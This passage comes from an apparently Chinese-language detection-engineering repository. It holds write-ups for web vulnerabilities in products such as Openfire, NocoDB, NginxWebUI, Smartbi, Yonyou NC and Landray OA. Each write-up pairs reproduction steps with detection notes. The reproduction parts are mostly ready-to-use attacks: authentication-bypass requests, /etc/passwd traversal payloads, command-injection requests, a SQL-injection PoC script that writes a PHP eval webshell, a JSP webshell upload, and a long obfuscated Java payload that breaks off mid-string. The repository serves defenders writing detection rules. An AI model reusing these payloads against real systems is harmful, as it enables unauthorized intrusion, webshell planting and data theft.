amd64"}],"MinioEnv":{"MINIO_ACCESS_KEY_FILE":"access_key","MINIO_CONFIG_ENV_FILE":"config.env","MINIO_KMS_SECRET_KEY_FILE":"kms_master_key","MINIO_ROOT_PASSWORD":"minioadmin-vulhub","MINIO_ROOT_PASSWORD_FILE":"secret_key","MINIO_ROOT_USER":"minioadmin","MINIO_ROOT_USER_FILE":"access_key","MINIO_SECRET_KEY_FILE":"secret_key"}}
```
- ----------
## 检测规则/思路
对请求方法和URL、HOST内容进行分析,同时观察返回内容中是否包含MINIO_SECRET_KEY和MINIO_ROOT_PASSWORD。
## 参考推荐
MITRE-ATT&CK-T1190
CVE-2023-28432
MinIO信息泄漏分析与复现CVE-2023-28432
================================================
FILE: Web/2023/CVE-2023-32315/T1190-CVE-2023-32315-Openfire管理后台认证绕过.md
================================================
# T1190-CVE-2023-32315-Openfire管理后台认证绕过
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
Openfire是根据开放源Apache许可获得许可的实时协作(RTC)服务器。
在Openfire版本4.7.4和4.6.7及以前,Openfire的Web管理后台存在一处目录穿越漏洞,这将允许攻击者绕过权限校验访问所有受限页面。
空间测绘查询语句:body="Openfire"
参考链接:
-
-
-
## 检测日志
HTTP.log
## 测试复现
### 漏洞环境
漏洞环境使用vulhub docker环境
执行如下命令启动一个4.7.4版本的Openfire:
```
yml
docker-compose up -d
```
服务器启动后,访问`http://your-ip:9090`你将会被强制跳转到登录页面。
### 漏洞复现
#### 步骤1,验证漏洞是否存在
启动openfire服务器后,访问以下路径,验证漏洞是否存在。
```
http://localhost:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp
```
成功未授权访问日志文件,证明存在Openfire管理后台认证绕过漏洞
#### 步骤2,获取JSESSIONID和csrftoken
访问以下路径,获取获取JSESSIONID和csrftoken
```
http://localhost:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/user-groups.jsp
http://localhost:9090/login.jsp?url=%2F%2Fsetup%2Fsetup-s%2F%25u002e%25u002e%2F%25u002e%25u002e%2Fuser-groups.jsp
```
#### 步骤3,构造数据包创建用户
构造数据包如下:
```
GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=csrftoken&username=admin&name=&email=&password=admin&passwordConfirm=admin&isadmin=on&create=Create+User HTTP/1.1
Host: localhost:9090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.91 Safari/537.36
Connection: close
Cache-Control: max-age=0
Cookie: csrf=csrftoken
```
更多利用方法,可参考链接中的内容。
POC地址:
-
这里直接使用脚本进行模拟测试:

## 测试留痕


流量包见同目录下pcap文件。
## 检测规则/思路
研判分析要点:
- 结合流量上下文,URL路径和返回信息
- 关注状态码信息,并非都是200
## 参考推荐
MITRE-ATT&CK-T1190
盘点一下OpenFire的漏洞CVE-2023-32315
================================================
FILE: Web/2023/CVE-2023-34843/T1190-CVE-2023-34843.md
================================================
# T1190-CVE-2023-34843-Traggo Server任意文件读取
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
Traggo Server是一个基于标签的时间跟踪工具。CVE-2023-34843中,攻击者可构造恶意请求读取遍历系统上的文件,造成敏感信息泄漏。
空间测绘语句:title="Traggo"
参考链接:
-
-
## 检测日志
HTTP.log
## 测试复现
重现步骤:
在服务器上设置traggo服务器。`https://traggo.net/install/`
向以下URL发出GET请求。 `curl -X GET http://localhost:3030/static/..%5c..%5c..%5c..%5cetc/passwd``
查看/etc/passwd的内容
测试过程来自网络,未经实际测试:

## 测试留痕
无,未经实际测试,无留痕文件及PCAP流量包信息。
## 检测规则/思路
研判分析要点:
- 结合流量上下文,URL路径,请求方法
- 读取文件和文件信息
================================================
FILE: Web/2023/CVE-2023-35843/T1190-CVE-2023-35843.md
================================================
# T1190-CVE-2023-35843 NocoDB任意文件读取
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
NocoDB在0.106.0(或 0.109.1)存在路径遍历漏洞,允许未经身份验证的攻击者通过操纵download路由的路径参数来访问服务器上的任意文件。此漏洞可能允许攻击者访问服务器上的敏感文件和数据,包括配置文件、源代码和其他敏感信息。
影响版本: NocoDB <= 0.106.1
空间测绘语句:title="NocoDB"
参考链接:
-
-
-
## 检测日志
HTTP.log
## 测试复现
paylaod
```
/download/..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
```
测试过程来自网络,未经实际测试:

## 测试留痕
无,未经实际测试,无留痕文件及PCAP流量包信息。
## 检测规则/思路
研判分析要点:
- 结合流量上下文,URL路径,请求方法
- 读取文件和文件信息
================================================
FILE: Web/2023/other/NginxWebUI run Cmd远程命令执行.md
================================================
# NginxWebUI run Cmd 远程命令执行漏洞---
## 漏洞描述---
NginxWebUI是一款图形化管理nginx配置的工具,能通过网页快速配置nginx的各种功能,包括HTTP和TCP协议转发、反向代理、负载均衡、静态HTML服务器以及SSL证书的自动申请、续签和配置,配置完成后可以一键生成nginx.conf文件,并控制nginx使用此文件进行启动和重载。---
NginxWebUI后台提供执行nginx相关命令的接口,由于未对用户的输入进行过滤,导致可在后台执行任意命令。并且该系统权限校验存在问题,导致存在权限绕过,在前台可直接调用后台接口,最终可以达到无条件远程命令执行的效果。---
## 影响范围---
nginxWebUI <= 3.5.0---
网络空间测绘语法:app="nginxWebUI"---
## 漏洞利用---
### 命令执行一---
```
GET /AdminPage/conf/runCmd?cmd=calc%26%26nginx HTTP/1.
Host: 127.0.0.1:8080
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Origin: http://127.0.0.1:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: corsSec-Fetch-Dest: empty
Referer: http://127.0.0.1:8080/adminPage/remote
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close---
```
- --
### 命令执行二---
```
POST /AdminPage/remote/cmdOver HTTP/1.1
Host: 127.0.0.1:8080
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Origin: http://127.0.0.1:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8080/adminPage/remote
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 51---
remoteId=local&cmd=start calc%26%26nginx&interval=1---
```
- --
### 命令执行三---
```
POST /Api/nginx/runNginxCmd HTTP/1.1
Host: 127.0.0.1:8080
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Origin: http://127.0.0.1:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: corsSec-Fetch-Dest: empty
Referer: http://127.0.0.1:8080/adminPage/remote
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 19---
cmd=calc%26%26nginx---
```
- --
### 命令执行四---
```
GET /AdminPage/conf/reload?nginxExe=calc%20%7C HTTP/1.1
Host: 127.0.0.1:8080
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Origin: http://127.0.0.1:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: corsSec-Fetch-Dest: empty
Referer: http://127.0.0.1:8080/adminPage/remote
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close---
```
- --
### 命令执行五---
```
POST /AdminPage/conf/check HTTP/1.1
Host: 127.0.0.1:8080
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Origin: http://127.0.0.1:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8080/adminPage/remote
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 91---
nginxExe=calc%20%7C&json={"nginxContent":"","subContent":"[]","subName":"[]"}&nginxPath=/1/---
```
- --
## 研判分析---
关注以下请求方法和路径---
- GET、'/AdminPage/conf/runCmd?cmd='
- POST、'/AdminPage/remote/cmdOver'
- POST、'/Api/nginx/runNginxCmd'
- GET、'/AdminPage/conf/reload?nginxExe='
- POST、'/AdminPage/conf/check'
- POST、'/AdminPage/conf/saveCmd'
- GET、'/AdminPage/conf/checkBase'
- POST、'/AdminPage/conf/saveCmd'
- GET、'/Api/nginx/check'---
当请求方法为POST时,需要结合body信息进行分析。body中常见的信息中如:"cmd"或者"nginxExe"等。---
## 参考链接---
nginxWebUI runCmd 未授权远程代码执行---
================================================
FILE: Web/2023/other/Sapido路由器远程命令执行.md
================================================
# Sapido路由器远程命令执行漏洞
## 漏洞描述
Sapido路由器存在远程命令执行漏洞,攻击者可通过未授权进入命令执行页面,进而可以root权限执行任意命令。
## 影响范围
```
BR270n-v2.1.03
BRC76n-v2.1.03
GR297-v2.1.3
RB1732-v2.0.43
```
网络空间测绘语法:app="Sapido-路由器"
## 漏洞复现
POC
```
http://xxx.xxx.xxx.xxx/syscmd.asp
http://xxx.xxx.xxx.xxx/syscmd.htm
```
1. 访问Sapido路由器web登录页面
2. 访问POC进入命令执行页面 ‘http://xxx.xxx.xxx.xxx:1080/syscmd.htm’
3. 执行ifconfig、cat /etc/passwd等命令

## 研判分析
- 请求方法、请求路径、请求内容
- 执行命令的返回结果
## 参考链接
Sapido路由器命令执行漏洞
================================================
FILE: Web/2023/other/Smartbi商业智能软件绕过登录.md
================================================
# Smartbi商业智能软件绕过登录漏洞
## 漏洞描述
Smartbi大数据分析产品融合BI定义的所有阶段,对接各种业务数据库、数据仓库和大数据分析平台,进行加工处理、分析挖掘和可视化展现;满足所有用户的各种数据分析应用需求,如大数据分析、可视化分析、探索式分析、复杂报表、应用分享等等。
Smartbi在安装时会内置几个用户,在使用特定接口时,可绕过用户身份认证机制获取其身份凭证,随后可使用获取的身份凭证调用后台接口,可能导致敏感信息泄露和代码执行。
## 影响范围
V7 <= Smartbi <= V10
网络空间测绘语法:app="SMARTBI"
## 漏洞复现
验证漏洞是否存在:
如果返回信息中包含尚未登录或者会话已超时,则证明存在该漏洞
POC
```
POST /smartbi/vision/RMIServlet HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
- ----------------------------------------------
className=UserService&methodName=loginFromDB¶ms=["system","0a"]
```
请求体中传入的三个参数
className:必须指定UserService类名
methodName:该类调用的方法loginFromDB
params:其中的第一个参数是内置的三个用户名(public、service、system)可随机构造,第二个参数是三个账号默认的密文密码(默认值为0a)
## 研判分析
总体上来说该漏洞研判起来较为简单。
- 请求方法和请求路径,'POST'、'/smartbi/vision/RMIServlet'
- 请求内容,className,public,service,system,0a
- 响应状态码200,响应内容"result:true"
## 参考链接
Smartbi内置用户登陆绕过漏洞复现
================================================
FILE: Web/2023/other/泛微e-cology前台任意用户登录.md
================================================
# 泛微e-cology前台任意用户登录漏洞
## 漏洞描述
泛微新一代移动办公平台e-cology8.0不仅组织提供了一体化的协同工作平台,将组织事务逐渐实现全程电子化,改变传统纸质文件、实体签章的方式。泛微OA E-Cology v8.0平台ofsLogin.jsp处存在任意用户登录漏洞,攻击者通过漏洞可以登录网站后台。
## 影响范围
网络空间测绘:app="泛微-协同商务系统"
## 漏洞复现
直接使用POC登录
```
http://x.x.x.x/mobile/plugin/1/ofsLogin.jsp?gopage=/wui/index.html&loginTokenFromThird=866fb3887a60239fc112354ee7ffc168&receiver=1&syscode=1×tamp
```
## 研判分析
关注请求路径'mobile/plugin/1/ofsLogin.jsp?syscode='及响应状态码信息。
## 参考链接
泛微ecology9 ofsLogin.jsp信息泄露与前台任意用户登录漏洞分析
漏洞复现:泛微e-cology ofsLogin.jsp任意用户登录漏洞
Weaver_ofslogin_vul
泛微e-cology9 changeUserInfo信息泄漏及ofsLogin任意用户登录漏洞分析
================================================
FILE: Web/2023/other/瑞友天翼应用虚拟化系统存在远程代码执行.md
================================================
# 瑞友天翼应用虚拟化系统存在远程代码执行
## 漏洞介绍
瑞友天翼应用虚拟化系统是西安瑞友信息技术资讯有限公司研发的具有自主知识产权,基于服务器计算架构的应用虚拟化平台。它将用户各种应用软件集中部署在瑞友天翼服务器(群)上,客户端通过WEB即可快速安全的访问经服务器上授权的应用软件,实现集中应用、远程接入、协同办公等,从而为用户打造集中、便捷、安全、高效的虚拟化支撑平台。
瑞友天翼应用虚拟化系统存在远程代码执行漏洞,未经身份认证的远程攻击者可以利用该漏洞在目标系统上执行任意代码(该漏洞是通过SQL注入写入后门文件进行代码执行)。
## 影响版本
5.x <= 瑞友天翼应用虚拟化系统 <= 7.0.2.1
## 漏洞利用
Poc
```
python
import requests
import sys
- ---------
url = sys.argv[1]
payload="/AgentBoard.XGI?user=-1%27+union+select+1%2C%27%3C%3Fphp+phpinfo%28%29%3B%3F%3E%27+into+outfile+%22C%3A%5C%5CProgram%5C+Files%5C+%5C%28x86%5C%29%5C%5CRealFriend%5C%5CRap%5C+Server%5C%5CWebRoot%5C%5C1.php%22+--+-&cmd=UserLogin"
repose = requests.get(url=url+payload)
if repose.status_code ==200:
a = url + '1.php'
b = requests.get(url=a)
if b.status_code == 200:
print('[+] 漏洞存在,验证地址: {}1.php '.format(url))
```
通过sql注入写入php文件,内容是phpinfo()(只对默认安装路径起作用,请根据环境自行修改payload中的路径)。
利用burp进行测试:
```
yml
GET /AgentBoard.XGI?user=-1%27+union+select+1%2C%27%3C%3Fphp+phpinfo%28%29%3B%3F%3E%27+into+outfile+%22C%3A%5C%5CProgram%5C+Files%5C+%5C%28x86%5C%29%5C%5CRealFriend%5C%5CRap%5C+Server%5C%5CWebRoot%5C%5C2.php%22+--+-&cmd=UserLogin HTTP/1.1
Host: 192.168.189.129
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: CookieLanguageName=ZH-CN; CookieAuthType=0
Upgrade-Insecure-Requests: 1
```
然后访问`http://192.168.189.129/2.php`即可
尝试写入php一句话马子,需要对特殊符号进行url编码(经测试,漏洞环境过滤了单引号,需采用双引号或者使用hex编码bypass)
```
yml
GET /AgentBoard.XGI?user=-1%27+union+select+1%2C%27%3c%3fphp+eval%28%24%5fPOST%5b%22cmd%22%5d%29%3b%3f%3e%27+into+outfile+%22C%3A%5C%5CProgram%5C+Files%5C+%5C%28x86%5C%29%5C%5CRealFriend%5C%5CRap%5C+Server%5C%5CWebRoot%5C%5C5.php%22+--+-&cmd=UserLogin HTTP/1.1
Host: 192.168.189.129
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: CookieLanguageName=ZH-CN; CookieAuthType=0
Upgrade-Insecure-Requests: 1
```
## 研判分析
- 请求方法:GET
- 请求路径包含:'/AgentBoard.XGI?user'、'into+outfile'
- 请求路径中部分编码数据需要解码后再进行分析
- 响应状态码:200
- 可根据解码内容中的shell文件,排查web服务目录下是否存在恶意文件
## 参考链接
瑞友天翼应用虚拟化系统RCE漏洞复现+利用
================================================
FILE: Web/2023/other/用友NC Cloud存在前台远程命令执行.md
================================================
# 用友NC Cloud存在前台远程命令执行漏洞
## 漏洞描述
用友NC及NC Cloud系统存在任意文件上传漏洞,攻击者可通过uapjs(jsinvoke)应用构造恶意请求非法上传后门程序,此漏洞可以给NC服务器预埋后门,从而可以随意操作服务器。
## 影响范围
- NC63、NC633、NC65
- NC Cloud1903、NC Cloud1909
- NC Cloud2005、NC Cloud2105、NC Cloud2111
- YonBIP 高级版 2207
网络空间测绘语法:app="用友-NC-Cloud"
## 漏洞复现
poc:上传823780482.jsp的webshell
```
POST /uapjs/jsinvoke/?action=invoke HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept: */*
Connection: Keep-Alive
Content-Length: 253
Content-Type: application/x-www-form-urlencoded
- ----------------------------------------------
{"serviceName":"nc.itf.iufo.IBaseSPService","methodName":"saveXStreamConfig","parameterTypes":["java.lang.Object","java.lang.String"],"parameters":["${param.getClass().forName(param.error).newInstance().eval(param.cmd)}","webapps/nc_web/823780482.jsp"]}
```
poc:执行ipconfig命令
```
POST /823780482.jsp?error=bsh.Interpreter HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Connection: close
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Accept-Language: zh-CN,zh;q=0.9
Cookie: cookiets=1681785470496; JSESSIONID=33989F450B1EA57D4D3ED07A343770FF.server
If-None-Match: W/"1571-1589211696000"
If-Modified-Since: Mon, 11 May 2020 15:41:36 GMT
Content-Type: application/x-www-form-urlencoded
Content-Length: 98
- ----------------------------------------------
cmd=org.apache.commons.io.IOUtils.toString(Runtime.getRuntime().exec("ipconfig").getInputStream())
```
## 分析研判
分析主要从请求方法、请求URL路径、请求内容及返回内容方面进行。
- POST请求方法
- 请求路径"/uapjs/jsinvoke?action=invoke"
- 请求内容"getRuntime().exec"、"saveXStreamConfig"
- 结合响应状态码200、内容body信息
## 参考链接
用友NC Cloud存在前台远程命令执行漏洞 附POC软件
用友NC uapjs RCE漏洞
================================================
FILE: Web/2023/other/蓝凌oa远程代码执行.md
================================================
# 蓝凌oa远程代码执行漏洞
## 漏洞描述
蓝凌OA sysSearchMain.do文件存在任意文件写入漏洞,攻击者获取后台权 限后可通过漏洞写入任意文件,也可以通过custom.jsp文件未授权写入恶意文件。
## 影响范围
未知
## 漏洞复现
### 蓝凌OA custom.jsp任意文件读取
```
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 42
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
var={"body":{"file":"file:///etc/passwd"}}
```

### 蓝凌OA sysSearchMain.do远程命令执行
```
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host:
User-Agent: Go-http-client/1.1
Content-Length: 17574
Cmd: dir
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
var={"body":{"file":"/sys/search/sys_search_main/sysSearchMain.do?method=editParam"}}&fdParemNames=11&fdParameters=\u0020\u0020\u0020\u0020\u0062\u006f\u006f\u006c\u0065\u0061\u006e\u0020\u0066\u006c\u0061\u0067\u0020\u003d\u0020\u0066\u0061\u006c\u0073\u0065\u003b\u0054\u0068\u0072\u0065\u0061\u0064\u0047\u0072\u006f\u0075\u0070\u0020\u0067\u0072\u006f\u0075\u0070\u0020\u003d\u0020\u0054\u0068\u0072\u0065\u0061\u0064\u002e\u0063\u0075\u0072\u0072\u0065\u006e\u0074\u0054\u0068\u0072\u0065\u0061\u0064\u0028\u0029\u002e\u0067\u0065\u0074\u0054\u0068\u0072\u0065\u0061\u0064\u0047\u0072\u006f\u0075\u0070\u0028\u0029\u003b\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0072\u0065\u0066\u006c\u0065\u0063\u0074\u002e\u0046\u0069\u0065\u006c\u0064\u0020\u0066\u0020\u003d\u0020\u0067\u0072\u006f\u0075\u0070\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0044\u0065\u0063\u006c\u0061\u0072\u0065\u0064\u0046\u0069\u0065\u006c\u0064\u0028\u0022\u0074\u0068\u0072\u0065\u0061\u0064\u0073\u0022\u0029\u003b\u0066\u002e\u0073\u0065\u0074\u0041\u0063\u0063\u0065\u0073\u0073\u0069\u0062\u006c\u0065\u0028\u0074\u0072\u0075\u0065\u0029\u003b\u0054\u0068\u0072\u0065\u0061\u0064\u005b\u005d\u0020\u0074\u0068\u0072\u0065\u0061\u0064\u0073\u0020\u003d\u0020\u0028\u0054\u0068\u0072\u0065\u0061\u0064\u005b\u005d\u0029\u0020\u0066\u002e\u0067\u0065\u0074\u0028\u0067\u0072\u006f\u0075\u0070\u0029\u003b\u0066\u006f\u0072\u0020\u0028\u0069\u006e\u0074\u0020\u0069\u0020\u003d\u0020\u0030\u003b\u0020\u0069\u0020\u003c\u0020\u0074\u0068\u0072\u0065\u0061\u0064\u0073\u002e\u006c\u0065\u006e\u0067\u0074\u0068\u003b\u0020\u0069\u002b\u002b\u0029\u0020\u007b\u0020\u0074\u0072\u0079\u0020\u007b\u0020\u0054\u0068\u0072\u0065\u0061\u0064\u0020\u0074\u0020\u003d\u0020\u0074\u0068\u0072\u0065\u0061\u0064\u0073\u005b\u0069\u005d\u003b\u0069\u0066\u0020\u0028\u0074\u0020\u003d\u003d\u0020\u006e\u0075\u006c\u006c\u0029\u0020\u007b\u0020\u0063\u006f\u006e\u0074\u0069\u006e\u0075\u0065\u003b\u0020\u007d\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0073\u0074\u0072\u0020\u003d\u0020\u0074\u002e\u0067\u0065\u0074\u004e\u0061\u006d\u0065\u0028\u0029\u003b\u0069\u0066\u0020\u0028\u0073\u0074\u0072\u002e\u0063\u006f\u006e\u0074\u0061\u0069\u006e\u0073\u0028\u0022\u0065\u0078\u0065\u0063\u0022\u0029\u0020\u007c\u007c\u0020\u0021\u0073\u0074\u0072\u002e\u0063\u006f\u006e\u0074\u0061\u0069\u006e\u0073\u0028\u0022\u0068\u0074\u0074\u0070\u0022\u0029\u0029\u0020\u007b\u0020\u0063\u006f\u006e\u0074\u0069\u006e\u0075\u0065\u003b\u0020\u007d\u0066\u0020\u003d\u0020\u0074\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0044\u0065\u0063\u006c\u0061\u0072\u0065\u0064\u0046\u0069\u0065\u006c\u0064\u0028\u0022\u0074\u0061\u0072\u0067\u0065\u0074\u0022\u0029\u003b\u0066\u002e\u0073\u0065\u0074\u0041\u0063\u0063\u0065\u0073\u0073\u0069\u0062\u006c\u0065\u0028\u0074\u0072\u0075\u0065\u0029\u003b\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u006f\u0062\u006a\u0020\u003d\u0020\u0066\u002e\u0067\u0065\u0074\u0028\u0074\u0029\u003b\u0069\u0066\u0020\u0028\u0021\u0028\u006f\u0062\u006a\u0020\u0069\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u006f\u0066\u0020\u0052\u0075\u006e\u006e\u0061\u0062\u006c\u0065\u0029\u0029\u0020\u007b\u0020\u0063\u006f\u006e\u0074\u0069\u006e\u0075\u0065\u003b\u0020\u007d\u0066\u0020\u003d\u0020\u006f\u0062\u006a\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0044\u0065\u0063\u006c\u0061\u0072\u0065\u0064\u0046\u0069\u0065\u006c\u0064\u0028\u0022\u0074\u0068\u0069\u0073\u0024\u0030\u0022\u0029\u003b\u0066\u002e\u0073\u0065\u0074\u0041\u0063\u0063\u0065\u0073\u0073\u0069\u0062\u006c\u0065\u0028\u0074\u0072\u0075\u0065\u0029\u003b\u006f\u0062\u006a\u0020\u003d\u0020\u0066\u002e\u0067\u0065\u0074\u0028\u006f\u0062\u006a\u0029\u003b\u0074\u0072\u0079\u0020\u007b\u0020\u0066\u0020\u003d\u0020\u006f\u0062\u006a\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0044\u0065\u0063\u006c\u0061\u0072\u0065\u0064\u0046\u0069\u0065\u006c\u0064\u0028\u0022\u0068\u0061\u006e\u0064\u006c\u0065\u0072\u0022\u0029\u003b\u0020\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u004e\u006f\u0053\u0075\u0063\u0068\u0046\u0069\u0065\u006c\u0064\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u0020\u007b\u0020\u0066\u0020\u003d\u0020\u006f\u0062\u006a\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0053\u0075\u0070\u0065\u0072\u0063\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0053\u0075\u0070\u0065\u0072\u0063\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0044\u0065\u0063\u006c\u0061\u0072\u0065\u0064\u0046\u0069\u0065\u006c\u0064\u0028\u0022\u0068\u0061\u006e\u0064\u006c\u0065\u0072\u0022\u0029\u003b\u0020\u007d\u0066\u002e\u0073\u0065\u0074\u0041\u0063\u0063\u0065\u0073\u0073\u0069\u0062\u006c\u0065\u0028\u0074\u0072\u0075\u0065\u0029\u003b\u006f\u0062\u006a\u0020\u003d\u0020\u0066\u002e\u0067\u0065\u0074\u0028\u006f\u0062\u006a\u0029\u003b\u0074\u0072\u0079\u0020\u007b\u0020\u0066\u0020\u003d\u0020\u006f\u0062\u006a\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0053\u0075\u0070\u0065\u0072\u0063\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0044\u0065\u0063\u006c\u0061\u0072\u0065\u0064\u0046\u0069\u0065\u006c\u0064\u0028\u0022\u0067\u006c\u006f\u0062\u0061\u006c\u0022\u0029\u003b\u0020\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u004e\u006f\u0053\u0075\u0063\u0068\u0046\u0069\u0065\u006c\u0064\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u0020\u007b\u0020\u0066\u0020\u003d\u0020\u006f\u0062\u006a\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0044\u0065\u0063\u006c\u0061\u0072\u0065\u0064\u0046\u0069\u0065\u006c\u0064\u0028\u0022\u0067\u006c\u006f\u0062\u0061\u006c\u0022\u0029\u003b\u0020\u007d\u0066\u002e\u0073\u0065\u0074\u0041\u0063\u0063\u0065\u0073